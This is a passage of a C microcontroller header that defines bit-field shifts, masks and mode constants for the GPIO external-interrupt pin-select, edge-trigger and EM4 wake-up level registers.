#define _GPIO_EXTIPINSELL_EXTIPINSEL3_PIN2 0x00000002UL /**< Mode PIN2 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL3_DEFAULT 0x00000003UL /**< Mode DEFAULT for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL3_PIN3 0x00000003UL /**< Mode PIN3 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL3_PIN0 (_GPIO_EXTIPINSELL_EXTIPINSEL3_PIN0 << 12) /**< Shifted mode PIN0 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL3_PIN1 (_GPIO_EXTIPINSELL_EXTIPINSEL3_PIN1 << 12) /**< Shifted mode PIN1 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL3_PIN2 (_GPIO_EXTIPINSELL_EXTIPINSEL3_PIN2 << 12) /**< Shifted mode PIN2 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL3_DEFAULT (_GPIO_EXTIPINSELL_EXTIPINSEL3_DEFAULT << 12) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL3_PIN3 (_GPIO_EXTIPINSELL_EXTIPINSEL3_PIN3 << 12) /**< Shifted mode PIN3 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL4_SHIFT 16 /**< Shift value for GPIO_EXTIPINSEL4 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL4_MASK 0x30000UL /**< Bit mask for GPIO_EXTIPINSEL4 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL4_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL4_PIN4 0x00000000UL /**< Mode PIN4 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL4_PIN5 0x00000001UL /**< Mode PIN5 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL4_PIN6 0x00000002UL /**< Mode PIN6 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL4_PIN7 0x00000003UL /**< Mode PIN7 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL4_DEFAULT (_GPIO_EXTIPINSELL_EXTIPINSEL4_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL4_PIN4 (_GPIO_EXTIPINSELL_EXTIPINSEL4_PIN4 << 16) /**< Shifted mode PIN4 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL4_PIN5 (_GPIO_EXTIPINSELL_EXTIPINSEL4_PIN5 << 16) /**< Shifted mode PIN5 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL4_PIN6 (_GPIO_EXTIPINSELL_EXTIPINSEL4_PIN6 << 16) /**< Shifted mode PIN6 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL4_PIN7 (_GPIO_EXTIPINSELL_EXTIPINSEL4_PIN7 << 16) /**< Shifted mode PIN7 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL5_SHIFT 20 /**< Shift value for GPIO_EXTIPINSEL5 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL5_MASK 0x300000UL /**< Bit mask for GPIO_EXTIPINSEL5 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL5_PIN4 0x00000000UL /**< Mode PIN4 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL5_DEFAULT 0x00000001UL /**< Mode DEFAULT for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL5_PIN5 0x00000001UL /**< Mode PIN5 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL5_PIN6 0x00000002UL /**< Mode PIN6 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL5_PIN7 0x00000003UL /**< Mode PIN7 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL5_PIN4 (_GPIO_EXTIPINSELL_EXTIPINSEL5_PIN4 << 20) /**< Shifted mode PIN4 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL5_DEFAULT (_GPIO_EXTIPINSELL_EXTIPINSEL5_DEFAULT << 20) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL5_PIN5 (_GPIO_EXTIPINSELL_EXTIPINSEL5_PIN5 << 20) /**< Shifted mode PIN5 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL5_PIN6 (_GPIO_EXTIPINSELL_EXTIPINSEL5_PIN6 << 20) /**< Shifted mode PIN6 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL5_PIN7 (_GPIO_EXTIPINSELL_EXTIPINSEL5_PIN7 << 20) /**< Shifted mode PIN7 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL6_SHIFT 24 /**< Shift value for GPIO_EXTIPINSEL6 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL6_MASK 0x3000000UL /**< Bit mask for GPIO_EXTIPINSEL6 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL6_PIN4 0x00000000UL /**< Mode PIN4 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL6_PIN5 0x00000001UL /**< Mode PIN5 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL6_DEFAULT 0x00000002UL /**< Mode DEFAULT for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL6_PIN6 0x00000002UL /**< Mode PIN6 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL6_PIN7 0x00000003UL /**< Mode PIN7 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL6_PIN4 (_GPIO_EXTIPINSELL_EXTIPINSEL6_PIN4 << 24) /**< Shifted mode PIN4 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL6_PIN5 (_GPIO_EXTIPINSELL_EXTIPINSEL6_PIN5 << 24) /**< Shifted mode PIN5 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL6_DEFAULT (_GPIO_EXTIPINSELL_EXTIPINSEL6_DEFAULT << 24) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL6_PIN6 (_GPIO_EXTIPINSELL_EXTIPINSEL6_PIN6 << 24) /**< Shifted mode PIN6 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL6_PIN7 (_GPIO_EXTIPINSELL_EXTIPINSEL6_PIN7 << 24) /**< Shifted mode PIN7 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL7_SHIFT 28 /**< Shift value for GPIO_EXTIPINSEL7 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL7_MASK 0x30000000UL /**< Bit mask for GPIO_EXTIPINSEL7 */ #define _GPIO_EXTIPINSELL_EXTIPINSEL7_PIN4 0x00000000UL /**< Mode PIN4 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL7_PIN5 0x00000001UL /**< Mode PIN5 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL7_PIN6 0x00000002UL /**< Mode PIN6 for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL7_DEFAULT 0x00000003UL /**< Mode DEFAULT for GPIO_EXTIPINSELL */ #define _GPIO_EXTIPINSELL_EXTIPINSEL7_PIN7 0x00000003UL /**< Mode PIN7 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL7_PIN4 (_GPIO_EXTIPINSELL_EXTIPINSEL7_PIN4 << 28) /**< Shifted mode PIN4 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL7_PIN5 (_GPIO_EXTIPINSELL_EXTIPINSEL7_PIN5 << 28) /**< Shifted mode PIN5 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL7_PIN6 (_GPIO_EXTIPINSELL_EXTIPINSEL7_PIN6 << 28) /**< Shifted mode PIN6 for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL7_DEFAULT (_GPIO_EXTIPINSELL_EXTIPINSEL7_DEFAULT << 28) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELL */ #define GPIO_EXTIPINSELL_EXTIPINSEL7_PIN7 (_GPIO_EXTIPINSELL_EXTIPINSEL7_PIN7 << 28) /**< Shifted mode PIN7 for GPIO_EXTIPINSELL */ /* Bit fields for GPIO EXTIPINSELH */ #define _GPIO_EXTIPINSELH_RESETVALUE 0x32103210UL /**< Default value for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_MASK 0x33333333UL /**< Mask for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL8_SHIFT 0 /**< Shift value for GPIO_EXTIPINSEL8 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL8_MASK 0x3UL /**< Bit mask for GPIO_EXTIPINSEL8 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL8_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL8_PIN8 0x00000000UL /**< Mode PIN8 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL8_PIN9 0x00000001UL /**< Mode PIN9 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL8_PIN10 0x00000002UL /**< Mode PIN10 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL8_PIN11 0x00000003UL /**< Mode PIN11 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL8_DEFAULT (_GPIO_EXTIPINSELH_EXTIPINSEL8_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL8_PIN8 (_GPIO_EXTIPINSELH_EXTIPINSEL8_PIN8 << 0) /**< Shifted mode PIN8 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL8_PIN9 (_GPIO_EXTIPINSELH_EXTIPINSEL8_PIN9 << 0) /**< Shifted mode PIN9 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL8_PIN10 (_GPIO_EXTIPINSELH_EXTIPINSEL8_PIN10 << 0) /**< Shifted mode PIN10 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL8_PIN11 (_GPIO_EXTIPINSELH_EXTIPINSEL8_PIN11 << 0) /**< Shifted mode PIN11 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL9_SHIFT 4 /**< Shift value for GPIO_EXTIPINSEL9 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL9_MASK 0x30UL /**< Bit mask for GPIO_EXTIPINSEL9 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL9_PIN8 0x00000000UL /**< Mode PIN8 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL9_DEFAULT 0x00000001UL /**< Mode DEFAULT for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL9_PIN9 0x00000001UL /**< Mode PIN9 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL9_PIN10 0x00000002UL /**< Mode PIN10 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL9_PIN11 0x00000003UL /**< Mode PIN11 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL9_PIN8 (_GPIO_EXTIPINSELH_EXTIPINSEL9_PIN8 << 4) /**< Shifted mode PIN8 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL9_DEFAULT (_GPIO_EXTIPINSELH_EXTIPINSEL9_DEFAULT << 4) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL9_PIN9 (_GPIO_EXTIPINSELH_EXTIPINSEL9_PIN9 << 4) /**< Shifted mode PIN9 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL9_PIN10 (_GPIO_EXTIPINSELH_EXTIPINSEL9_PIN10 << 4) /**< Shifted mode PIN10 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL9_PIN11 (_GPIO_EXTIPINSELH_EXTIPINSEL9_PIN11 << 4) /**< Shifted mode PIN11 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL10_SHIFT 8 /**< Shift value for GPIO_EXTIPINSEL10 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL10_MASK 0x300UL /**< Bit mask for GPIO_EXTIPINSEL10 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL10_PIN8 0x00000000UL /**< Mode PIN8 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL10_PIN9 0x00000001UL /**< Mode PIN9 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL10_DEFAULT 0x00000002UL /**< Mode DEFAULT for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL10_PIN10 0x00000002UL /**< Mode PIN10 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL10_PIN11 0x00000003UL /**< Mode PIN11 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL10_PIN8 (_GPIO_EXTIPINSELH_EXTIPINSEL10_PIN8 << 8) /**< Shifted mode PIN8 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL10_PIN9 (_GPIO_EXTIPINSELH_EXTIPINSEL10_PIN9 << 8) /**< Shifted mode PIN9 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL10_DEFAULT (_GPIO_EXTIPINSELH_EXTIPINSEL10_DEFAULT << 8) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL10_PIN10 (_GPIO_EXTIPINSELH_EXTIPINSEL10_PIN10 << 8) /**< Shifted mode PIN10 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL10_PIN11 (_GPIO_EXTIPINSELH_EXTIPINSEL10_PIN11 << 8) /**< Shifted mode PIN11 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL11_SHIFT 12 /**< Shift value for GPIO_EXTIPINSEL11 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL11_MASK 0x3000UL /**< Bit mask for GPIO_EXTIPINSEL11 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL11_PIN8 0x00000000UL /**< Mode PIN8 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL11_PIN9 0x00000001UL /**< Mode PIN9 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL11_PIN10 0x00000002UL /**< Mode PIN10 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL11_DEFAULT 0x00000003UL /**< Mode DEFAULT for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL11_PIN11 0x00000003UL /**< Mode PIN11 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL11_PIN8 (_GPIO_EXTIPINSELH_EXTIPINSEL11_PIN8 << 12) /**< Shifted mode PIN8 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL11_PIN9 (_GPIO_EXTIPINSELH_EXTIPINSEL11_PIN9 << 12) /**< Shifted mode PIN9 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL11_PIN10 (_GPIO_EXTIPINSELH_EXTIPINSEL11_PIN10 << 12) /**< Shifted mode PIN10 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL11_DEFAULT (_GPIO_EXTIPINSELH_EXTIPINSEL11_DEFAULT << 12) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL11_PIN11 (_GPIO_EXTIPINSELH_EXTIPINSEL11_PIN11 << 12) /**< Shifted mode PIN11 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL12_SHIFT 16 /**< Shift value for GPIO_EXTIPINSEL12 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL12_MASK 0x30000UL /**< Bit mask for GPIO_EXTIPINSEL12 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL12_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL12_PIN12 0x00000000UL /**< Mode PIN12 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL12_PIN13 0x00000001UL /**< Mode PIN13 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL12_PIN14 0x00000002UL /**< Mode PIN14 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL12_PIN15 0x00000003UL /**< Mode PIN15 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL12_DEFAULT (_GPIO_EXTIPINSELH_EXTIPINSEL12_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL12_PIN12 (_GPIO_EXTIPINSELH_EXTIPINSEL12_PIN12 << 16) /**< Shifted mode PIN12 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL12_PIN13 (_GPIO_EXTIPINSELH_EXTIPINSEL12_PIN13 << 16) /**< Shifted mode PIN13 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL12_PIN14 (_GPIO_EXTIPINSELH_EXTIPINSEL12_PIN14 << 16) /**< Shifted mode PIN14 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL12_PIN15 (_GPIO_EXTIPINSELH_EXTIPINSEL12_PIN15 << 16) /**< Shifted mode PIN15 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL13_SHIFT 20 /**< Shift value for GPIO_EXTIPINSEL13 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL13_MASK 0x300000UL /**< Bit mask for GPIO_EXTIPINSEL13 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL13_PIN12 0x00000000UL /**< Mode PIN12 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL13_DEFAULT 0x00000001UL /**< Mode DEFAULT for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL13_PIN13 0x00000001UL /**< Mode PIN13 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL13_PIN14 0x00000002UL /**< Mode PIN14 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL13_PIN15 0x00000003UL /**< Mode PIN15 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL13_PIN12 (_GPIO_EXTIPINSELH_EXTIPINSEL13_PIN12 << 20) /**< Shifted mode PIN12 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL13_DEFAULT (_GPIO_EXTIPINSELH_EXTIPINSEL13_DEFAULT << 20) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL13_PIN13 (_GPIO_EXTIPINSELH_EXTIPINSEL13_PIN13 << 20) /**< Shifted mode PIN13 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL13_PIN14 (_GPIO_EXTIPINSELH_EXTIPINSEL13_PIN14 << 20) /**< Shifted mode PIN14 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL13_PIN15 (_GPIO_EXTIPINSELH_EXTIPINSEL13_PIN15 << 20) /**< Shifted mode PIN15 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL14_SHIFT 24 /**< Shift value for GPIO_EXTIPINSEL14 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL14_MASK 0x3000000UL /**< Bit mask for GPIO_EXTIPINSEL14 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL14_PIN12 0x00000000UL /**< Mode PIN12 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL14_PIN13 0x00000001UL /**< Mode PIN13 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL14_DEFAULT 0x00000002UL /**< Mode DEFAULT for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL14_PIN14 0x00000002UL /**< Mode PIN14 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL14_PIN15 0x00000003UL /**< Mode PIN15 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL14_PIN12 (_GPIO_EXTIPINSELH_EXTIPINSEL14_PIN12 << 24) /**< Shifted mode PIN12 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL14_PIN13 (_GPIO_EXTIPINSELH_EXTIPINSEL14_PIN13 << 24) /**< Shifted mode PIN13 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL14_DEFAULT (_GPIO_EXTIPINSELH_EXTIPINSEL14_DEFAULT << 24) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL14_PIN14 (_GPIO_EXTIPINSELH_EXTIPINSEL14_PIN14 << 24) /**< Shifted mode PIN14 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL14_PIN15 (_GPIO_EXTIPINSELH_EXTIPINSEL14_PIN15 << 24) /**< Shifted mode PIN15 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL15_SHIFT 28 /**< Shift value for GPIO_EXTIPINSEL15 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL15_MASK 0x30000000UL /**< Bit mask for GPIO_EXTIPINSEL15 */ #define _GPIO_EXTIPINSELH_EXTIPINSEL15_PIN12 0x00000000UL /**< Mode PIN12 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL15_PIN13 0x00000001UL /**< Mode PIN13 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL15_PIN14 0x00000002UL /**< Mode PIN14 for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL15_DEFAULT 0x00000003UL /**< Mode DEFAULT for GPIO_EXTIPINSELH */ #define _GPIO_EXTIPINSELH_EXTIPINSEL15_PIN15 0x00000003UL /**< Mode PIN15 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL15_PIN12 (_GPIO_EXTIPINSELH_EXTIPINSEL15_PIN12 << 28) /**< Shifted mode PIN12 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL15_PIN13 (_GPIO_EXTIPINSELH_EXTIPINSEL15_PIN13 << 28) /**< Shifted mode PIN13 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL15_PIN14 (_GPIO_EXTIPINSELH_EXTIPINSEL15_PIN14 << 28) /**< Shifted mode PIN14 for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL15_DEFAULT (_GPIO_EXTIPINSELH_EXTIPINSEL15_DEFAULT << 28) /**< Shifted mode DEFAULT for GPIO_EXTIPINSELH */ #define GPIO_EXTIPINSELH_EXTIPINSEL15_PIN15 (_GPIO_EXTIPINSELH_EXTIPINSEL15_PIN15 << 28) /**< Shifted mode PIN15 for GPIO_EXTIPINSELH */ /* Bit fields for GPIO EXTIRISE */ #define _GPIO_EXTIRISE_RESETVALUE 0x00000000UL /**< Default value for GPIO_EXTIRISE */ #define _GPIO_EXTIRISE_MASK 0x0000FFFFUL /**< Mask for GPIO_EXTIRISE */ #define _GPIO_EXTIRISE_EXTIRISE_SHIFT 0 /**< Shift value for GPIO_EXTIRISE */ #define _GPIO_EXTIRISE_EXTIRISE_MASK 0xFFFFUL /**< Bit mask for GPIO_EXTIRISE */ #define _GPIO_EXTIRISE_EXTIRISE_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIRISE */ #define GPIO_EXTIRISE_EXTIRISE_DEFAULT (_GPIO_EXTIRISE_EXTIRISE_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_EXTIRISE */ /* Bit fields for GPIO EXTIFALL */ #define _GPIO_EXTIFALL_RESETVALUE 0x00000000UL /**< Default value for GPIO_EXTIFALL */ #define _GPIO_EXTIFALL_MASK 0x0000FFFFUL /**< Mask for GPIO_EXTIFALL */ #define _GPIO_EXTIFALL_EXTIFALL_SHIFT 0 /**< Shift value for GPIO_EXTIFALL */ #define _GPIO_EXTIFALL_EXTIFALL_MASK 0xFFFFUL /**< Bit mask for GPIO_EXTIFALL */ #define _GPIO_EXTIFALL_EXTIFALL_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTIFALL */ #define GPIO_EXTIFALL_EXTIFALL_DEFAULT (_GPIO_EXTIFALL_EXTIFALL_DEFAULT << 0) /**< Shifted mode DEFAULT for GPIO_EXTIFALL */ /* Bit fields for GPIO EXTILEVEL */ #define _GPIO_EXTILEVEL_RESETVALUE 0x00000000UL /**< Default value for GPIO_EXTILEVEL */ #define _GPIO_EXTILEVEL_MASK 0x13130000UL /**< Mask for GPIO_EXTILEVEL */ #define GPIO_EXTILEVEL_EM4WU0 (0x1UL << 16) /**< EM4 Wake Up Level for EM4WU0 Pin */ #define _GPIO_EXTILEVEL_EM4WU0_SHIFT 16 /**< Shift value for GPIO_EM4WU0 */ #define _GPIO_EXTILEVEL_EM4WU0_MASK 0x10000UL /**< Bit mask for GPIO_EM4WU0 */ #define _GPIO_EXTILEVEL_EM4WU0_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTILEVEL */ #define GPIO_EXTILEVEL_EM4WU0_DEFAULT (_GPIO_EXTILEVEL_EM4WU0_DEFAULT << 16) /**< Shifted mode DEFAULT for GPIO_EXTILEVEL */ #define GPIO_EXTILEVEL_EM4WU1 (0x1UL << 17) /**< EM4 Wake Up Level for EM4WU1 Pin */ #define _GPIO_EXTILEVEL_EM4WU1_SHIFT 17 /**< Shift value for GPIO_EM4WU1 */ #define _GPIO_EXTILEVEL_EM4WU1_MASK 0x20000UL /**< Bit mask for GPIO_EM4WU1 */ #define _GPIO_EXTILEVEL_EM4WU1_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTILEVEL */ #define GPIO_EXTILEVEL_EM4WU1_DEFAULT (_GPIO_EXTILEVEL_EM4WU1_DEFAULT << 17) /**< Shifted mode DEFAULT for GPIO_EXTILEVEL */ #define GPIO_EXTILEVEL_EM4WU4 (0x1UL << 20) /**< EM4 Wake Up Level for EM4WU4 Pin */ #define _GPIO_EXTILEVEL_EM4WU4_SHIFT 20 /**< Shift value for GPIO_EM4WU4 */ #define _GPIO_EXTILEVEL_EM4WU4_MASK 0x100000UL /**< Bit mask for GPIO_EM4WU4 */ #define _GPIO_EXTILEVEL_EM4WU4_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTILEVEL */ #define GPIO_EXTILEVEL_EM4WU4_DEFAULT (_GPIO_EXTILEVEL_EM4WU4_DEFAULT << 20) /**< Shifted mode DEFAULT for GPIO_EXTILEVEL */ #define GPIO_EXTILEVEL_EM4WU8 (0x1UL << 24) /**< EM4 Wake Up Level for EM4WU8 Pin */ #define _GPIO_EXTILEVEL_EM4WU8_SHIFT 24 /**< Shift value for GPIO_EM4WU8 */ #define _GPIO_EXTILEVEL_EM4WU8_MASK 0x1000000UL /**< Bit mask for GPIO_EM4WU8 */ #define _GPIO_EXTILEVEL_EM4WU8_DEFAULT 0x00000000UL /**< Mode DEFAULT for GPIO_EXTILEVEL */ #define GPIO_EXTILEVEL_EM4WU8_DEFAULT (_GPIO_EXTILEVEL_EM4WU8_DEFAULT << 24) /**< Shifted mode DEFAULT for GPIO_EXTILEVEL */ #define GPIO_EXTILEVEL_EM4WU9 (0x1UL << 25) /**< EM4 Wake Up Level for EM4WU9 Pin */ #define _GPIO_EXTILEVEL_EM4WU9_SHIFT 25 